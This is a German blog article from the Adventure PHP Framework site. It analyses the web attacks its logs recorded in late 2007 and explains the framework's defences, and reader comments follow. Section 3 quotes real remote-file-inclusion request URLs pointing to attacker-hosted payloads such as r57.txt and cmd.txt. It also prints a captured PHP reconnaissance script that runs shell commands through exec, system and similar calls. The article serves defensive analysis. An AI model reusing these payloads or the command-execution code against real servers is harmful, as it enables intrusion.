Hacking & das APF

1. Rückblick

Blickt man auf die letzten 3 Monate des Jahres 2007 zurück, so wurde vermehrt der Versuche unternommen mit geziehlten Requests Schwachstellen der eingesetzten Software auszunutzen um so an wichtige Informationen über die Software, den Server oder Benutzerdaten zu gelangen. Eine Auswertung der Logfiles des genannten Zeitraums zeigt, dass im vergangenen Quartal über 2500 XSS-Angriffe zu verzeichnen waren. Davon führten 353 Anfragen zu Applikationsfehlern. Eine vollständige Auswertung der Logfiles findet sich unter http_hacks_2008_01_07.txt.


2. Sicherheit & das Adventure PHP Framework

Betrachtet man die aufgeführten Applikationsfehler genauer, stellt man fest, dass diese keine Fehler im Sinne eines Bufferoverflows oder einer Schwachstelle sind, sondern Fehlermeldungen, die von den Framework-Komponenten im Fehlerfall geziehlt ausgelöst werden. Von den genannten 353 Fehlern führten daher genau 0 Anfragen zu einem erfolgreichen Kompromittieren der Seite und den darauf befindlichen Applikationen.

Gründe dafür liegen in der Architektur des Frameworks und der betriebenen Software:
  • Konfiguration:
    Konfigurationsaufgaben werden konsequent über den ConfigurationManager gezogen. Dieser verwendet keine Parameter aus dem REQUEST und wird nur über die Applikation selbst verwendet.

  • URL-Layout:
    Das URL-Layout muss einem definierten Schema entsprechen. Mögliche XSS-Lücken fallen daher bei Verwendung der Komponenten LinkHandler und FrontcontrollerLinkHandler dadurch auf, dass eine URL wie sie unter Kapitel 3 beschrieben ist nicht geparst werden kann.

  • Templates:
    Der PageController verarbeitet Templates nicht wie viele andere Frameworks als PHP-Skripten. PHP-Code, der evtl. durch XSS-Lücken eingeschleust werden kann - sollte die auf dem Framework aufsetzende Software derartige Lücken aufweisen - wird daher nicht ausgeführt, sondern lediglich zur Anzeige gebracht.

  • Bootstrap-Architektur:
    Durch die Bootstrap-Architektur (=alle Requests werden über eine zentrale Datei abgewickelt) können Anfragen wie /content.php?seite=http://casts.150m.com/expo/expo1? keinen Schaden anrichten.

  • Steuerparameter:
    Steuerparameter in URLs, die direkt auf das Inkludieren von Templates Einfluss haben greifen nicht direkt und unkontrolliert auf das Dateisystem durch, sondern gelten nur in einem definierten Namespace. Wird ein Template nicht gefunden, so wird ein Applikationsfehler angezeigt, was das Auslesen von System-Dateien nicht möglich macht. Steuerparameter in FrontController-Actions werden zusätzlich über eine Konfiguration abstrahiert und greifen nicht direkt auf Filesystemressourcen zu.

3. Beispiele für Angriffe

Hinter den Angriffen steckt zumeist der Versuch, PHP-Code in eine verwundbare Seiten einzuschläusen und auszuführen um Informationen über den Server, die eingesetzter Software und evtl. Benutzerdaten zu erlangen. In manchen dieser Skripte wird zudem versucht ein Programm auf dem Ziel-Server zu installieren.

Die folgende Code-Box zeigt eine Auswahl der beschriebenen Angriffe und erlätert anschließend die Funktion an Hand eines Beispiels.
APF-Template
/myevent.php?myevent_path=http://countryangelz.com/counter/var/safeon.txt?? /admin/addentry.php?phpbb_root_path=http://intranet.stantonmortgage.com/modules/admin/bersama/doc.txt? /administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=http://www.nortek.helloweb.eu/contr.txt? /forum.php?cfg_file=1&fpath=http://www.donagro.ru/files/images/search4.gif??? /include.php?p4a_root_dir=http://www.lacs.de/NgL?? /administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=http://www.apnic.net/index.html? /content.php?seite=http://casts.150m.com/expo/expo1? /includes/function.php?root_path=http://www.cervo.com/public/r57.txt??? /index.php?pager=http://201.37.71.117:8090/cmd.txt??
Der nachfolgend aufgeführte PHP-Code zeigt ein Script, das Informationen über einen Server ausliest und ausgibt. Aus Sicherheitsgründen und zum Schutz vor Trittbrettfahrer wurde ein ungefährliches Beispiel gewählt.
PHP-Code
$dir = @getcwd(); echo "S4M3K
"; $OS = @PHP_uname(); echo "OSTYPE:$OS
"; $free = disk_free_space($dir); if ($free === FALSE) {$free = 0;} if ($free < 0) {$free = 0;} echo "Free:".view_size($free)."
"; $cmd="id"; $eseguicmd=ex($cmd); echo $eseguicmd; function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }} return $res; } function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; }} exit;
Analysiert man den Orginalquelltext, so sind darin zunächst zwei Funktionsdefinitionen enthalten: ex() und view_size(). Diese werden benötigt um Shellbefehle auszuführen bzw. freie Festplattenressourcen anzuzeigen. Die Funktion des Quellcodes besteht im Grunde darin, einen Kenner in den Quelltext zu implantieren, der später abgefragt werden kann (S4M3K), den noch freien Plattenplatz anzuzeigen (disk_free_space()) und herauszufinden, unter welchem Benutzer der Webserver betrieben wird. Da hier auf das UNIX/LINUX- Systemprogramm id zurückgegriffen wird funktioniert dies nur unter UNIX/LINUX- Betriebssystemen, in denen die Funktionen exec(), shell_exec() und system() nicht deaktiviert sind.

Aus den gewonnenen Informationen kann der Angreifer dann schließen, wo Programme installiert werden können, oder ob das installierte System bekannte Schwachstellen besitzt, die mit bekannten Exploits ausgenutzt werden können.


4. Recherche

Einige der aufgerufenen URLs deuten auf den Versuch hin, bekannte Schwachstellen in verbreiteten PHP-Applikationen auszunutzen um Schaden anzurichten. Sucht man nach Schlüsselwörtern, die in den oben aufgeführten Request-URLS auftauchen, so findet man Software-Komponenten wie myEvent, PHP-Nuke, Joomla und PHPBB:

Kommentare

Möchten Sie den Artikel eine Anmerkung hinzufügen, oder haben Sie ergänzende Hinweise? Dann können Sie diese hier einfügen. Die bereits verfassten Anmerkungen und Kommentare finden Sie in der untenstehenden Liste.
«   1   »
Einträge/Seite: | 5 | 10 | 15 | 20 |

1
Christian 15.01.2008, 21:11:23
Weitere Betrachtungen sind um Forum unter http://forum.adventure-php-framework.org/de/viewtopic.php?f=5&t=21 verfügbar.
2
KingCrunch 02.02.2009, 04:48:54
Die ganze Argumentation bedingt sich allerdings selbst, ähnlich wie die Fragestellung, warum es für Linux nur eine handvoll Viren gibt: Natürlich versuchen Angriffe von Botnetzwerken eine möglichst breite Schicht zu treffen. Das bedeutet, dass diese eben auf Systeme ausgelegt sind, die weit verbreitet sind. Daraus gleich abzuleiten, dass das eigene (eher unbekannte) System besonders sicher sei, wirkt etwas wie Selbstbetrug.
3
Christian 02.02.2009, 16:28:48
Es geht nicht darum aus einem Feature gleich Sicherheit abzuleiten, es geht vielmehr darum aufzuzeigen, dass Features mehr Sicherheit bedeuten können. Gerade PHP-freie Templates und ein valides URL-Layout ermöglichen bereits potentielle Sicherheitslücken, da a) eine definierte und nicht beeinflussbare Ausgabe stattfindet (XSS) und b) URL-Intrusion per se nicht möglich ist, da dann das URL-Layout nicht valide ist.

Ich kann jedoch nur deine Aussage unterstreichen, dass in der Basis sichere Software durch Fremdeinwirken zur Unsicherheit überführt werden kann. Bei LINUX wäre das der root-Account ohne Passwort.